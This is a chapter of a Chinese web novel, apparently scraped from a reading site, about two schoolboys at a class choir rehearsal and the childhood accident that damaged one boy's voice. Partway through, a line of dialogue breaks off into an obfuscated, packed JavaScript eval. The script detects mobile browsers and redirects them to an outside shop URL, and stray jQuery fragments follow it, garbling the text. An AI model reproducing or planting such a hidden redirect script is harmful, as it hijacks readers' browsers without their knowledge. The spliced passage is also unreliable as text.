十月艺术节要到了。


    班长站在讲台上，用尺子敲了敲黑板：“全班大合唱，一个都不能少。”


    底下哀嚎一片。


    有人举手：“问一下，能不能自愿？”


    “不能。”


    “那能不能假唱？”


    “不能。”


    “能不能——”


    “不能，最后一次了。”班长把尺子放下，扫了一眼教室，“歌词待会儿发下去，今天课间开始练，放学后排练。都给我认真点，这是班级荣誉。”


    温翊然趴在桌上，脸埋在胳膊里，对这些话充耳不闻。直到一张歌词纸飘到他面前，他才动了动，抬起一只眼睛看了一眼。


    《彩虹》，嗯，挺好听的。


    他把歌词往旁边一推，继续趴着。


    楚屹坐在他后面一排，正在研究那张纸。他看得很认真，嘴唇轻轻动着，像是在默念什么。旁边的人回头看了他一眼，又迅速转回去，表情有点微妙。


    “楚屹，”班长进行排查询问，“你能唱歌吗？”


    楚屹抬起头，想了想：“能啊。”


    班长没再说话，转过去问别人了。


    温翊然趴在桌上，没动。


    他没笑出来。


    他想起了一些事。


    以前的楚屹，嗓子是真的好。


    那是十二岁那年暑假。


    温翊然被送回乡下奶奶家。楚屹家就在隔壁，因此两人每年暑假都要混在一起。


    那天下午，温翊然爬到村口的老槐树上，想掏鸟窝。爬得太高，脚下一滑，整个人挂在了树枝上。他低头一看，正下方是一根又尖又粗的钢筋。


    那是家里人准备修地窖的标记柱。


    他不敢动。


    楚屹在树下，抬头看着他，喊：“小然！你别动，我去叫人！”


    然后他就跑开了。


    温翊然挂在树上，手臂越来越酸。他感到委屈：楚屹是不是要我了，我是不是要命不久矣了？


    过了一会，他听见楚屹的喊声从远处传来，一声比一声响，一声比一声哑。


    后来大人来了，把他救下来。


    楚屹站在旁边，嗓子已经哑得说不出话。


    再后来，发炎，发烧，嗓子坏了。


    医生说，喊得太用力，声带受损，恢复不了了。


    温翊然那时候小，只知道楚屹嗓子坏了。后来长大了才慢慢想起来——在那件事之前，楚屹唱歌是很好听的。


    现在不了。


    从那以后，楚屹很少在别人面前唱歌。


    所以刚才班长问“你能唱歌吗”的时候，楚屹愣了一秒才回答。


    温翊然听见了那个停顿。


    课间铃响了。


    温翊然抬起头，把歌词纸塞进口袋，起身往外走。


    银杏树下，他靠在树干上，把那团纸掏出来，有一搭没一搭地看。楚屹也下来了，站在旁边，也在看自己的那张。


    “你刚才跟他说什么？”楚屹忽然问。


    “什么？”


    “你趴着的时候，笑什么。”


    温翊然翻了一页歌词，没抬头：“没笑什么。”


    楚屹凑过来看他：“你笑了，我看见的。”


    “你后脑勺长眼睛了？”


    楚屹愣了一下，笑了。他往树干上一靠，跟温翊然并肩站着，仰头看头顶的银杏叶。


    “你说，”他忽然开口，“我唱歌真那么难听吗？”


    温翊然翻歌词的手顿了一下。


    他没说话。


    楚屹等了等，没等到回答，扭头看他：“你怎么不说话？”


    “你想听真话还是假话？”


    “真话。”


    温翊然把歌词纸折起来，塞进口袋里，转身往教学楼走。


    “你干嘛去？”


    “回去背单词。”


    楚屹追上去：“你还没回答我。”


    温翊然走得很快，头也不回：“你自己不知道吗？”


    楚屹跟在他旁边，想了想：“知道啊。”


    “那你还问。”


    “我就想问问你。”


    温翊然停下脚步，扭头看他。楚屹站在阳光里，银杏叶的影子落在他脸上，一块一块的，晃来晃去。他脸上没什么特别的表情，就是在等一个回答。


    温翊然看了他两秒，继续往前走。


    “……是挺难听的。”


    楚屹愣了一秒，然后笑了。他追上去，跟温翊然并排走。


    “那你嫌弃吗？”


    温翊然没说话。


    “嫌弃吗？”


    “你烦不烦？”


    “就问问。”


    温翊然推开教室门，走进去，在自己座位上坐下。楚屹跟着进来，在他旁边站着，还在等。


    温翊然从书包里掏出英语书，翻开，低头看了一会儿。


    然后头也不抬地说：“习惯了。”


    楚屹笑了。


    他回到自己座位上，把那张歌词纸摊开，继续看。旁边的人又回头看了他一眼，表情还是那个表情。


    但楚屹没注意到。


    他正盯着歌词上的某一处，嘴唇动着，小声念着什么。


    放学后排练。


    音乐教室，全班五十三个人，站成三排。班长在前面指挥，文艺委员弹钢琴，班主任坐在角落里，一脸“你们最好给我好好唱”的表情。


    “先来一遍，找找感觉。”班长举起手，“预备——起——”


    钢琴声响起。


    四十九个人的声音汇在一起，有点乱，但还算整齐。


    还有一个人的声音，混在里面，有点突出。


    不，是相当突出。


    温翊然站在第二排，左边是纪律委员，右边是学习委员。他本来在认真唱，忽然感觉左边的纪律委员抖了一下。


    然后右边的学习委员也抖了一下。


    然后前排有人回头看了一眼——不是那种生气的回头看，是那种“这谁啊”的回头看。


    温翊然顺着那些目光看过去。


    楚屹站在第三排，正对着歌词纸，唱得很投入。很认真。


    调子不知道跑到哪里去了。


    这是温翊然第一次听他正式唱歌。


    他知道楚屹嗓子坏了，但不知道坏了之后唱歌是这样的。


    班主任的表情开始变得复杂。


    班长的手在空中僵了一下，但还是坚持挥完了这一节。


    “停——”


    钢琴声停了。


    教室里安静了一秒。


    然后有人没忍住，笑出了声。这一声像开了闸，笑声接二连三地响起来，有人捂着嘴，有人趴在旁边同学肩膀上，有人直接蹲下去了。


    楚屹站在原地，手里还拿着那张歌词纸。


    他看了看周围，又看了看班长，问：“怎么了？”


    笑声更大了。


    温翊然站在第二排，没笑。


    他盯着楚屹。楚屹正好也看过来。


    两个人目光对上。


    楚屹眨了眨眼睛，像是在问“我真不知道怎么了”。


    温翊然移开目光，看向班长。


    班长清了清嗓子：“那个……楚屹，你……稍微收着点声就好。”


    楚屹点点头：“哦，好。”


    排练继续。


    第二遍，楚屹的声音小了一点。


    但还是跑调。


    第三遍，声音又小了一点。


    依然跑调。


    第四遍，班长终于放弃了，把他调到最后一排最边上，让他“跟着嘴型就行，不用出声”。


    楚屹站在那个角落里，手里拿着歌词纸，嘴型跟着动。


    没出声。


    温翊然站在第二排，不知道为什么，总觉得那个角落有点空。


    排练结束，天已经黑了。


    温翊然收拾书包，慢吞吞地往外走。走到校门口，看见楚屹靠在门卫室旁边，手里拿着那张歌词纸，对着路灯在看。


    温翊然走过去。


    “还不走？”


    楚屹抬起头，看见是他，把歌词纸折起来塞进口袋：“等你。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255325|195731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    温翊然没说话，继续往前走。楚屹跟上来，走在他旁边。


    路灯把他们的影子拉得很长，一会儿重叠，一会儿分开。


    走了几步，楚屹忽然说：“刚才谢谢你。”


    温翊然脚步顿了一下：“谢什么？”


    “你没笑。”


    温翊然沉默了一会儿，说：“我习惯了。”


    楚屹笑了笑，没再说话。


    走到小区门口，云岫蹲在花坛边上，看见温翊然就喵了一声，跑过来蹭他的腿。温翊然弯腰摸了摸它的脑袋，云岫眯起眼睛，咕噜咕噜地响。


    楚屹站在旁边看着。


    “云岫好像又胖了。”


    “它最近老去刘叔那儿蹭吃的。”温翊然站起来，“刘叔说它跟橙子抢罐头。”


    楚屹笑了。他蹲下来，伸手摸了摸云岫。云岫抬头看了他一眼，没躲，继续蹭温翊然的腿。


    “它今天不咬我了。”楚屹说。


    “嗯，熟了就好了。”


    云岫蹭够了，开始舔爪子。


    温翊然和楚屹站在那儿，谁也没说要走。


    过了一会儿，楚屹忽然开口：“温泉。”


    “嗯？”


    “我唱歌真的那么难听吗？”


    温翊然扭头看他。路灯的光从侧面照过来，把楚屹的半张脸照得亮亮的，另半张脸藏在阴影里。他脸上没什么表情，就是在问一个问题。


    温翊然想了想，说：“你自己不是知道吗？”


    “我知道，”楚屹说，“但我不知道有多难听。”


    温翊然沉默了一会儿。


    然后他说：“就……挺难听的。”


    楚屹等着。


    “但不是那种让人想捂耳朵的难听，”温翊然看着云岫，声音很平，“就是……你一开口，大家就会注意到你。不是因为你唱得好，是因为你唱得……很认真。”


    楚屹没说话。


    “其实今天，”温翊然顿了顿，“你被调到边上去之后，我觉得……有点空。”


    楚屹看着他。


    温翊然没看他，继续说：“不是说你唱得好，是……那个角落好像少了点什么。虽然你跑调，但你是在真的唱。后来你不出声了，感觉就像……少了一个人。”


    楚屹站在那儿，半天没动。


    然后他笑了，是那种很轻的笑。


    “温泉。”


    “嗯？”


    “你这是在夸我吗？”


    温翊然终于扭头看他：“我是在说事实。”


    楚屹点点头，还在笑：“行，事实。”


    云岫打了个哈欠，站起来，往小区里走。走了几步又回头，冲温翊然喵了一声。


    “它叫你了。”楚屹说。


    温翊然看了看云岫，又看了看楚屹。


    “那我回去了。”


    “嗯。”


    温翊然走了几步，忽然停下来，回头。


    “楚屹。”


    “嗯？”


    “明天排练，你还是唱吧。”


    楚屹愣了一下。


    “小声点就行，”温翊然说，“别让班长听见。”


    说完他就转身走了，头也没回。


    楚屹站在原地，看着他的背影消失在小区门口。


    路灯还亮着，银杏叶还在落，有一片落在他肩膀上，他没发现。


    他只是站在那儿，笑了笑。


    第二天排练，楚屹又站回了第三排。


    声音不大，但还是跑调。


    旁边的人看了他一眼，又看了看班长，没说什么。


    温翊然站在第二排，低着头看歌词纸。


    嘴角动了动，没笑出声。


    班长在前面挥着手，一脸“就这样吧”的表情。


    钢琴声、歌声混在一起，乱七八糟的，但又好像挺热闹。


    窗外，银杏叶还在落。


    一片一片的，金黄金黄的。


    落在窗台上，落在操场上，落在那些来来往往的身影上。


    落在又一个普普通通的秋天里。